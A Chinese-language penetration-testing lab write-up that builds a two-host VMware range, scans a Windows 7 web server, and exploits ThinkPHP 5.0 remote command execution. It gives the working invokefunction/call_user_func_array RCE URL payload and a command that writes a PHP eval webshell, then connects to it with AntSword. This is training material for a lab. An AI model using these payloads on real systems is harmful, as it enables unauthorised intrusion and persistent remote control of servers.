### 实验环境搭建
VMware新建网卡VMnet14,选择仅主机模式,并将网段IP设置为192.168.138.0:
然后将Windows 7和Windows 2008绑在这个VMnet14上。除此之外,还需要给Windows 7
新增一个网卡,并设置为桥接模式。最终Windows 7具有两个网卡,分别连通内外网,而Windows 2008只有一个网卡连接,处于内网无法与外网通信。
整个靶场环境大致如下:
Windows 7:
Web服务器(使用的是PHPStudy,记得自己手动开一下)
模拟外网IP:192.168.0.101
内网IP:192.168.138.136
Windows Server 2008:
域控制器
内网IP:192.168.138.138
攻击者VPS:
OS:Kali Linux
IP:192.168.0.100
外网渗透
我们首先对目标机Windows 7(192.168.0.101)进行端口扫:nmap -T4 -sC -sV 192.168.0.101
发现Web服务和Mysql:
访问80端口发现是个thinkphp:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fRrBdibD-1690267153222)(https://image.3001.net/images/20210218/1613660038_602e7f86bccc07976dca1.png!small)]
版本是ThinkPHP V5.0,既然是V5.0,那么我们就可以尝试一下Thinkphp远程命令执行漏洞。
漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用
$_POST['_method']
来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置$_POST['_method']='__construct'
而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。
报错查看详细版本:
使用kali的searchsploit查找一下漏洞利用POC:searchsploit thinkphp
发现最后一个是thinkphp5.X版本的RCE,我们进入该漏洞的文件46150.txt:cd /usr/share/exploitdb/exploits/php/webappscat 46150.txt
payload:http://192.168.0.101/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
命令执行成功:
写入Webshell:http://192.168.0.101/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo “<?php @eval($_POST[whoami]);?>” > shell.php
写入成功:
连接蚁剑: